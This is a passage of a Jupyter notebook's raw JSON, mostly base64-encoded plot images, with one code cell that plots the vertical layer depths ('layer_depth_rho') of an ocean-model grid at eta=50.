68KUk8W2IQ+gWK3s3LmTzp07V1PEQoiqkiFMTlJbEoic3TvYP2Uc2O00efZFR1eyEFe4Xqs3kx9zkAPTX8FakI9bnQjaTl+AR7h8I1mT7DYrqX/+yslPl2MpyAPAv31n6j30BH5tO0gicY2xlhST9PO3JK36yrGQops7UeMmE9Ttxmo5/vH/+4CEr/8P31ZtyTu4r1qOKYS4NDKE6SpWkpzI4TmTwW4n7La+RNzzoKtDEqJarO/bA9+Wren45ru4hdbBmJrMnnHDKIg77OrQrilqjZaIvvdy3fKviLz/UVRaHbl7d7HvtRfZNWIwKb//KEPMrgHW0hJOffMp24Y+yMlPl2MtLsKjfkM6vvlutSUPNqORlNU/ArBixtRqOaYQomZJD0QluLoHwlpcxO6xwyhJPIlPi9a0n/MOG/v3qvE4hHCmXqs3Y8rJ5sDUlymKP4La4EbUhGkEde3h6tCuSaWpySSu+pK0dX9iL0sctJ5ehN3ej4h+A3CvE+HiCEV1ctzU/0DCd59jyc8DHEPZGjw6lJAbelXrCuYpv//IkSVv4hYWTlFSgqz9IISLyRAmJ3FlAqHYbByY8So5O7dgCAqh41sfsuWxe2o0BiFq0o3freHQ7Ink7t4BajXNnh9L+J39XR3WNctSVEja37+T/Ov3GFOTHU+qVPh36EJAx+vwa9sRr4aNUamlQ/tKYy0tIf/AXnL27CDz3/WYc7MBcKsTQYNHhxB6823VmjiAY+G4HcMfozQpgbfffpsXX3yxWo8vhKg6SSCcxFUJhKIoxH+0lKQfvkKt19Nh3jJ2jXqqxs4vhKvc/PNG4t6ZS/ra3wGIHDCQRk8Oq/abGVF5it1OTvR2kn/5jpzo7RX2ab288W3dHr82HfBr00ESilpKsdspij9Czp6d5O7eQX7MAZQzKm65hdah/sAnCb2lj9NKKmf8s5bDc6eg8fAkNy0Vb29vp5xHCFF5l5JASNH1WkpRFI5/vIykH74CoPmoVyV5ENeMjffcTE+NBvewcE5+/hGJq76kNDWJluMmo3Fzd3V41ySVWk1gl24EdulGSXICWds2kbd/D/mH9mEtKiR7279kb/vX0VarQ+8fgD4gEENAIHr/QPSBQRj8g9B4uINKjUqlBrUKlUrtSDbUKhSbDcVqxW4xY7dYUawW7FYrisWMvex5xWLBbrGUtbGg2KyACpVaVXZcFahUqNRqVBotGg8PtJ5eaD080Xp6OX738ELn44shKPiqu54Uux1TThbG1GRK01IwpqVQWvZzaVIC1uKiCu3dQuvg37ErAR27EtilO2qdzmmx2cwmjq98D4DJr4yX5EGIK5j0QFRCTfdAKHY7x95/m+RfvwegyXOjOfreW04/rxC1Ta/Vm0nf8Bexb81GsVrwatKcNpPnYgi8vPrzovrYbVaKjh0h78Ae8g44Egpb6ZUz2Vrr6YU+KBhDYDCGoBAMgcG4BYfiFhaOW1gdDEHBtWaBQ7vFgik7E1NWhuORnYUpOxNzVqbj55wszDlZFXoV/pfG3QO/dp0I6NAF/45dca8TUWMVthK+/4LjHy9DHxhEzqmTsoaRELWEDGFykppMIBS7nSNL5pP65y+gUtFsxDjiFs9z6jmFqM16rd5M/uH9HJzxGpaCPAxBIbSZMhevRk1dHZo4B7vNirn8Zjbb8cjNxpSTjTknC7vJhKIooNhRbHYUxQ6KgmK3o9JoUGt1qLRa1Dodap0OlVaHSvPf72qdHlXZ1rFfC4riOIaigN1ednwFu8WMraQEa0kR1uJirCVF2IqLsRYXYSnIq1Sio9JoMASH4hZaB/ewcAzBoRgCgtAHBmIIDEYfEITOx/eybsIVRcFaWOD4b5R7+pHjSBYyy5KFzAzMeTmOv7USMbuF1sEtLBz3sPCybQRuYeF41m+IWlvzCZE5P4/tzzyCrbiIFStW8OSTT9Z4DEKIc5MEwklqKoGw26zELZpN+ro/Qa2mxehXiVnwhtPOJ8SVotfqzZSmJnNg6nhKkk6hcXcnavw0Art2d3Vo4gpmLSn+75v8rAxMWY5v940ZaRjTUjBmpKNYLRc9jkqrQx8QiNbDE7XBgMbghtrghsZgQG1wQ63TOYZcGY3YTCbsJiM2kxG7yYS1pAhzbs4Few0qnEunxy3Y0VOiDwzGEBiEoawHRR8YVJbUBNaaXpPTjr77Fsm/fo9Xo6bkH41FLXNkhKg1ZA7EFcxutRIzfxqZm9aDWkPUy5M5NGeyq8MSolZY39dRyvUGL28OzZ5E3r5oDsyYQMPHnqbeA4NkcrW4JFoPT7T1GuJZr+E595fPJ0hLwZiWSml6iqN3JdsxZMick4UlPw/FasGUkYbpcuPx8UXvH4DBv2zeSECgo/cjKARDsOOh8/G74hb1K0lKIOX3HwH46cP3JHkQ4iogCUQtYLeYOTRnCtnb/kWl1RI1YToHZ7zq6rCEqHU2PXwnN7t7cHTZAlL//IUT//cBufuiaTl2ksyLENVOpVbjFhSCW1AItG5/zjZ2i6VsiFaWo4fBeLp34b/eBrvZXNYz4eiR0Lid7qFwQ+Pu4Zhw7uePWqev2T+whsR/vAzFZiOwa3duueUWV4cjhKgGkkC4WGl6KjHzp1MQcwCVTk/r12eyf8o4V4clRK11ukKTb1Rbjry7kLx90ewcOZgWo18l6LobXB2euMaodTrcQsJwCwlzdSi1Uu7+3WRv3wRqDZs++cjV4Qghqon0I7pQ+oa/2DXySQpiDqDx8KTt1HmSPAhRCRv63UDMwjfo/M5HeDVuhrUgn4PTJ3D0vUXYzJc7kEQIUR0Uu5345UsACL/zHlq0aOHiiIQQ1UUSCBewlhQT8+YMYuZPx1ZSjE/LNnRespK9r41ydWhCXFG2PzOQjgveo+59DwOQ/Mt37B7zLMUJJ1wcmRAiff2fFMUfQePhyd4V77s6HCFENZIEooblxx5k18gnSV/vqLTUYNBQ2s9dzLYhD7g6NCGuSBv79yJx1Ve0mfYmOj9/ik/EEz3qKY5/8j6WwgJXhyfENclmNHL8kw8AqP/Q4wQHB7s4IiFEdZIyrpVQHWVc7TYrCd9+xsnPV4DdhiEkjKiXJ+Mb1ba8wowQ4vJ0/+xnYt+aSe7uHYBjkbDIBwZR954HauWKw4qiYCnIK6v1n4kpKx1jZgZ2i9lReSckzLGoWUgYOj//K676jrh2nfxqJSc/XY4hJIy8Uydwc3NzdUhCiPOQMq61kN1mJWPDGk599QmlKUkAhNzcm2YjxvHvg31cHJ0QV5ctj91DT/8Asrdt4vinH1By6gQnPnmfpJ++pcHAwdTpcw9qnc4lsdltVoqOH6Pg8H7yDx+g6PhRTFkZ2M3mSr1erddjCA7Fq3Ezwm69g4AOXaV8raiVSpITSPj2cwAaDX5OkgchrkLSA1EJl9IDodhspG/8m1NfrihPHLQ+vjR5eiSht9zBhn5SLUYIZ+r5yz+kb/ybk58tx5ieCoBbaB3qPfwEwd1uQufj69TzW4oKKYg9REHMAfIPH6Ag7jB2k/GcbXV+AY7FwYIcD7VeX7agWTrGjDTMOVlnrUCsDwwmrPedhPXui0d4Xaf+LUJUls1kYvfYZyk+EY9fmw7k7IuWnjMhajlZidpJqpJAKDYbGf+s5eSXKyhNTgQciUPkfY8Qcff9/Hv/bTURshACxwrWdouF1L9+5dRXKzHnZDt2qNX4tmxNYJfuBHTpjmf9hpd1k6MoCqUpieQfPuhIGGIPUpJw8qybfq2nFz4tW+Pbsg0+LVrhFloHQ1DwRev/2y0WR0KRnkrWjs2kr/sT6xnzO3zbtKfObf0I7tELjXzbK1wobvE8Uv/4GZ2fP6cOH6JOnTquDkkIcRGSQDjJmQmEMT2V2Ldmnbft6fHMAFpvHyIHDCTirvv59wFJHIRwlV6rN2MzGkn+bRXp6/6k+GR8hf2GkDACu3bHp3krdD4+6Lx80Hr7oPP2QevphUqjQbHZMOVmY8pIx5iZjinTsTWmpVBwJAZrQf5Z53ULC8c3qg2+UW3wadkWz3oNUJ1nFd4LzYXqtXpzhd/tFjNZ2zaRtuY3cnbvKE9U9AGBNH5qBCE33ybf+ooal77hL2LmTweVirYzFrLv9dGuDkkIUQmSQDjJmQlEccIJ9owddsH2Wi9vR+Jw9/38+8DtNRSlEOJiTt+IGzPSyN65lewdW8jdF41iufA8BI2nF7bSUrDbzttGpdPj06wFPi3Kehhatkbv51+hTXUUTPjfZMKYmU762j9I+fMXTBlpAPi2bk/TYaPxatjkss8nRGWUJCUQPfopbKWl1B84hJNffOzqkIQQlSQJhJOcmUAodjuFcYfP31it5t8Xhlb6f4AQouadeRNuM5aSuy+anF3bKElOxFpUiKWwAGthAbbSkgqvU2k0jnkKwaG4BYdiCA7BLSQUr4ZN8WrcDLVOV6NV1Sr8HWYTST98zamvP8FuMoFaTUS/ATR47Cl0Xt41FpO49vzvvId2Mxex4e6bXB2WEKKSJIFwkkv5DyuEuDL87zf6Z7JbreUJhdbdA71/wDkrH7m6FPOZf4MxI4345UvI3LwBAJ2vH42eHEZY777nHT4lxOWIe2cuqX/+gs7Pn86LV7Dlsf6uDkkIUQWSQDiJJBBCiCvBmYlEzp6dHHtvESVJpwDwbdWWFi+9jnudCFeFJ65C6ev/IuZNx7yHdm+8xd7XRrk6JCFEFck6EEIIcQ07syekF9B5yUqSf/mOk198TP6h/ewcMZjGQ58nvO+90hshLltJUgJxS+YDUH/gk/i37+ziiIQQNUU+QYQQ4iq0vm8P1DodkQMG0nnp/+HXpgN2k5Gj7y5k38SXMJZNuBbiUhgz0jgw/RXsxlL82nakwSNPunwonxCi5sgQpkqQIUxCiCtZr9WbUex2kn/9nuMr38NuMqFx96DJsy8Sdls/KfkqqqT41HH2TRqLOTsTQ3AIHRd+yJbH7nF1WEKISyRzIJxEEgghxNWg1+rNlCQnELtwFgWxBwEI6NyN5i+MxxAU7OLoxJUg//ABDkwbj7WoEI96DWg7YyFbn7jP1WEJIS6DJBBOIgmEEOJq0vOXf0j88WtO/N+HKFYLGnd3Gj7+DBF33X/OKlNCAGTv2MKhOZOwm0z4tGhNm6nz2PTwna4OSwhxmS7lPlfmQAghxDVmw903Ue/+R+n8zkf4tGiFrbSUYx+8Q/RLz1BwNNbV4YlaKO3v3zkw41XsJhMBnbvRbuYiSR6EuIZJD0QlSA+EEOJqdHpuRMofP3N85XvYiovKF6Br+MQzaD08XR2iqAUSvv+C4x8vAyD01jto/uIENt5zs4ujEkJUFxnC5CSSQAghrma9Vm/GlJNN/EdLyNiwBgB9YBBNnh1FcI+eMsn6GmXKzuL4J++RvvYPACLvf5RGQ4azod8NLo5MCFGdJIFwEkkghBBXu9OL0OXs2cnRZQsoTUkCwKtxM+o9OIjg7j1lfsQ1wmYsJXHVlyR89wV2kxGARkOfp979j0qpViGuQpJAOIkkEEKIa0Wv1ZuxmUwkfPMpiT98id1kAsA9vC6RAzb/j94AABCGSURBVB4h9NY70egNLo5SOINis5G29ndOfPoh5pxsAHxatKbxMyPxbdFakgchrlKSQDiJJBBCiGtNr9WbMefnkfzr9yT/8j3WwgIAdH4BRN77EOF970Xr6eXiKEV1ydmzk/iPllJ84hgAbqF1aDRkOME39JIhS0Jc5SSBcBJJIIQQ16peqzdjM5aS+ucvJP7wFabMDADUBgN+bToQ0LEr/h264hFZX+ZKXEHsViv5h/eTvWMz2ds3lw9Z03p6Uf+RwUTcfT9qnV56HYS4BkgC4SSSQAghBNz880YyNq4h4fsvKDl1osI+Q3AI/h26EtCxC74t26L3D5A5E7WMpbCAnOhtZG/fTE70dqzFReX7VFod4X3702DgEHQ+vpI4CHENkQTCSSSBEEKI//T8bRPFp46TE72d3D07yTu4D8VirthIrcEQEIg+MAhDUAiGsq3WwwNUalRqtWOrUaNSqUGtRrFZsVssKBYzdosVu8WMYrVgt1iwW8zYzWbHz2ZzWRszdqvV0fOhUqNS/89Wq0Xr6YXW0wudlzdaLy+0nt6O3339MASHovPxvap6TuwWC8b0VEqSEyhNTqQkJcmxTU7EnJ1Zoa3Ox4+ALt0Iuq4H/h26ovXwkMRBiGuQJBBOIgmEEEKc7XTlJpvRSP6hfeTs2UHO7h2UJJ4Cu93F0VWO2uCGW3AohpDQ/7YhdfAIr4t7RCQ679rznq8oCtbCAozpqRgz0zFlppdtM8p/N+fmwAU+1j3rNyLwuh4EdumOT/Oo8l4iSRyEuHZJAuEkkkAIIcSFnU4mwFHNx5yXiykrA1N2JqaszPKt3WREsdtR7HZQHFvFZgNFQaXRoNbpUOn0qLVa1Do9Kp0OtVaHWq9HrdOj1pX9rNeXt0MBRbGDoqAoCtjtKIqCYjFjLS7CWlTk2BYXYi0qwlJUiCUvF3Nu9kX/Lq2XN+7hdcsfbiF1MAQFO5KNoBA0bm7V9t/QZjZhzs7ClJ1V9t8rA2NGGsb0NIwZqRjT07AbSy96HLWbOx4RkbiH1y3fukdE4hEeic7Ht7ydJA1CCJAEwmkkgRBCiEtzZmJRXS5041uV89ktZoyZGY5v8jPSMWWmYcxIozQthdKU5LOG/JyL1tvHMUQrKAStpycagxsaN3fUbo6txs0dtU6H3WzCZjRiM5ZiMxmxl/1sLS5yJAvZWVgL8isVt94/EENwSMWek6Cyn4NC0Pn5n3dYliQNQoj/JQmEk0gCIYQQV7dzJR42Y6kjmUhOojQ1idKUpPIhQ6asdGylF+8NqCqVTu+YLxIY7OjpCK2DW0iYYxsahiE49Kx1OCQpEEJcjku5z9U6OSYhhBCi1jvfTXiv1ZvxatD4rOcVRXH0HmRllD0ysZWWlPcy2I1GbKZSbEYjdrMZtcFQ3juhcXMr66HwQOvhgT4gCENQMIbAYLRe3tJ7IISo9SSBqITTnTQFBQUujkQIIURN+umGNufd1++vbY7egZCwajvfzze2Pe8++QwSQjjD6feWqgxKkgSiEgoLCwGIjIx0cSRCCCGuZr4XbyKEEE5RWFiIr2/l3oVkDkQl2O12UlJS8PZ2dC0XFBQQGRlJYmKizIkQ5yTXiLgQuT7Excg1Ii5GrhFxMZW9RhRFobCwkPDwcNRqdaWOLT0QlaBWq6lbt+5Zz/v4+Mg/WnFBco2IC5HrQ1yMXCPiYuQaERdTmWuksj0Pp1UuzRBCCCGEEEIIJIEQQgghhBBCVIEkEJfAYDAwZcoUDAbDxRuLa5JcI+JC5PoQFyPXiLgYuUbExTjzGpFJ1EIIIYQQQohKkx4IIYQQQgghRKVJAiGEEEIIIYSoNEkghBBCCCGEEJUmCYQQQgghhBCi0iSBqKKlS5fSoEED3NzcuO6669ixY4erQxIuMnv2bLp06YK3tzchISHce++9xMXFVWhjNBoZMWIEgYGBeHl5cf/995Oenu6iiIUrzZkzB5VKxejRo8ufk+tDJCcn89hjjxEYGIi7uztt2rRh165d5fsVRWHy5MnUqVMHd3d3evfuzdGjR10YsahJNpuNSZMm0bBhQ9zd3WncuDEzZszgzPo3co1cW/755x/uvvtuwsPDUalU/PjjjxX2V+Z6yMnJYdCgQfj4+ODn58dTTz1FUVFRleKQBKIKvv76a8aMGcOUKVPYvXs37dq1o0+fPmRkZLg6NOECGzduZMSIEWzbto01a9ZgsVi4/fbbKS4uLm/z0ksv8csvv/Dtt9+yceNGUlJSGDBggAujFq6wc+dO3n//fdq2bVvhebk+rm25ubn06NEDnU7H77//zuHDh1mwYAH+/v7lbebNm8c777zDe++9x/bt2/H09KRPnz4YjUYXRi5qyty5c3n33XdZsmQJMTExzJ07l3nz5rF48eLyNnKNXFuKi4tp164dS5cuPef+ylwPgwYN4tChQ6xZs4Zff/2Vf/75h2effbZqgSii0rp27aqMGDGi/HebzaaEh4crs2fPdmFUorbIyMhQAGXjxo2KoihKXl6eotPplG+//ba8TUxMjAIoW7dudVWYooYVFhYqTZs2VdasWaPcfPPNyqhRoxRFketDKMorr7yi3HDDDefdb7fblbCwMGX+/Pnlz+Xl5SkGg0H58ssvayJE4WL9+vVThg4dWuG5AQMGKIMGDVIURa6Rax2g/PDDD+W/V+Z6OHz4sAIoO3fuLG/z+++/KyqVSklOTq70uaUHopLMZjPR0dH07t27/Dm1Wk3v3r3ZunWrCyMTtUV+fj4AAQEBAERHR2OxWCpcMy1atKBevXpyzVxDRowYQb9+/SpcByDXh4Cff/6Zzp078+CDDxISEkKHDh348MMPy/efOHGCtLS0CteIr68v1113nVwj14ju3buzdu1ajhw5AsC+ffvYtGkTd955JyDXiKioMtfD1q1b8fPzo3PnzuVtevfujVqtZvv27ZU+l7b6wr66ZWVlYbPZCA0NrfB8aGgosbGxLopK1BZ2u53Ro0fTo0cPWrduDUBaWhp6vR4/P78KbUNDQ0lLS3NBlKKmffXVV+zevZudO3eetU+uD3H8+HHeffddxowZw2uvvcbOnTt58cUX0ev1DB48uPw6ONfnjlwj14YJEyZQUFBAixYt0Gg02Gw2Zs6cyaBBgwDkGhEVVOZ6SEtLIyQkpMJ+rVZLQEBAla4ZSSCEqAYjRozg4MGDbNq0ydWhiFoiMTGRUaNGsWbNGtzc3FwdjqiF7HY7nTt3ZtasWQB06NCBgwcP8t577zF48GAXRydqg2+++YbPP/+cL774glatWrF3715Gjx5NeHi4XCPCpWQIUyUFBQWh0WjOqpCSnp5OWFiYi6IStcHIkSP59ddfWb9+PXXr1i1/PiwsDLPZTF5eXoX2cs1cG6Kjo8nIyKBjx45otVq0Wi0bN27knXfeQavVEhoaKtfHNa5OnTpERUVVeK5ly5YkJCQAlF8H8rlz7Xr55ZeZMGECjzzyCG3atOHxxx/npZdeYvbs2YBcI6KiylwPYWFhZxX/sVqt5OTkVOmakQSikvR6PZ06dWLt2rXlz9ntdtauXUu3bt1cGJlwFUVRGDlyJD/88APr1q2jYcOGFfZ36tQJnU5X4ZqJi4sjISFBrplrwK233sqBAwfYu3dv+aNz584MGjSo/Ge5Pq5tPXr0OKv085EjR6hfvz4ADRs2JCwsrMI1UlBQwPbt2+UauUaUlJSgVle8VdNoNNjtdkCuEVFRZa6Hbt26kZeXR3R0dHmbdevWYbfbue666yp/ssueAn4N+eqrrxSDwaCsXLlSOXz4sPLss88qfn5+SlpamqtDEy4wfPhwxdfXV9mwYYOSmppa/igpKSlvM2zYMKVevXrKunXrlF27dindunVTunXr5sKohSudWYVJUeT6uNbt2LFD0Wq1ysyZM5WjR48qn3/+ueLh4aF89tln5W3mzJmj+Pn5KT/99JOyf/9+pX///krDhg2V0tJSF0YuasrgwYOViIgI5ddff1VOnDihrFq1SgkKClLGjx9f3kaukWtLYWGhsmfPHmXPnj0KoCxcuFDZs2ePcurUKUVRKnc93HHHHUqHDh2U7du3K5s2bVKaNm2qDBw4sEpxSAJRRYsXL1bq1aun6PV6pWvXrsq2bdtcHZJwEeCcjxUrVpS3KS0tVZ5//nnF399f8fDwUO677z4lNTXVdUELl/rfBEKuD/HLL78orVu3VgwGg9KiRQvlgw8+qLDfbrcrkyZNUkJDQxWDwaDceuutSlxcnIuiFTWtoKBAGTVqlFKvXj3Fzc1NadSokfL6668rJpOpvI1cI9eW9evXn/PeY/DgwYqiVO56yM7OVgYOHKh4eXkpPj4+ypAhQ5TCwsIqxaFSlDOWMxRCCCGEEEKIC5A5EEIIIYQQQohKkwRCCCGEEEIIUWmSQAghhBBCCCEqTRIIIYQQQgghRKVJAiGEEEIIIYSoNEkghBBCCCGEEJUmCYQQQgghhBCi0iSBEEIIIYQQQlSaJBBCCCGcburUqbRv3/6SX3/y5ElUKhV79+6ttpiEEEJcGkkghBBCON24ceNYu3atq8MQQghRDbSuDkAIIcTVz8vLCy8vr0t6rdlsruZohBBCXA7pgRBCCHHZMjMzCQsLY9asWeXPbdmyBb1ez9q1a6s0hOnJJ5/k3nvvZebMmYSHh9O8efPyfcePH6dXr154eHjQrl07tm7dWuG133//Pa1atcJgMNCgQQMWLFhQLX+fEEKI/0gCIYQQ4rIFBwfz8ccfM3XqVHbt2kVhYSGPP/44I0eO5NZbb63y8dauXUtcXBxr1qzh119/LX/+9ddfZ9y4cezdu5dmzZoxcOBArFYrANHR0Tz00EM88sgjHDhwgKlTpzJp0iRWrlxZXX+mEEIIZAiTEEKIatK3b1+eeeYZBg0aROfOnfH09GT27NmXdCxPT0+WL1+OXq8HHJOowTGXol+/fgBMmzaNVq1acezYMVq0aMHChQu59dZbmTRpEgDNmjXj8OHDzJ8/nyeffPKy/z4hhBAO0gMhhBCi2rz55ptYrVa+/fZbPv/8cwwGwyUdp02bNuXJw5natm1b/nOdOnUAyMjIACAmJoYePXpUaN+jRw+OHj2KzWa7pDiEEEKcTRIIIYQQ1SY+Pp6UlBTsdnt5r8Gl8PT0POfzOp2u/GeVSgWA3W6/5PMIIYSoOhnCJIQQolqYzWYee+wxHn74YZo3b87TTz/NgQMHCAkJqZHzt2zZks2bN1d4bvPmzTRr1gyNRlMjMQghxLVAEgghhBDV4vXXXyc/P5933nkHLy8vVq9ezdChQytMgnamsWPH0qVLF2bMmMHDDz/M1q1bWbJkCcuWLauR8wshxLVCEgghhBCXbcOGDSxatIj169fj4+MDwKeffkq7du149913aySGjh078s033zB58mRmzJhBnTp1mD59ukygFkKIaqZSFEVxdRBCCCGEEEKIK4NMohZCCCGEEEJUmiQQQgghapSXl9d5H//++6+rwxNCCHERMoRJCCFEjTp27Nh590VERODu7l6D0QghhKgqSSCEEEIIIYQQlSZDmIQQQgghhBCVJgmEEEIIIYQQotIkgRBCCCGEEEJUmiQQQgghhBBCiEqTBEIIIYQQQghRaZJACCGEEEIIISpNEgghhBBCCCFEpf0/1EvVVw86E78AAAAASUVORK5CYII=", "text/plain": [ "<Figure size 900x500 with 1 Axes>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "control_grid.plot_vertical_coordinate(\"layer_depth_rho\", eta=50)" ] }, { "cell_type": "code", "execution_count": 34, "id": "37cb8d81-5aa6-46b3-91f5-e10301e56da6", "metadata": { "tags": [] }, "outputs": [ { "data": { "image/png": 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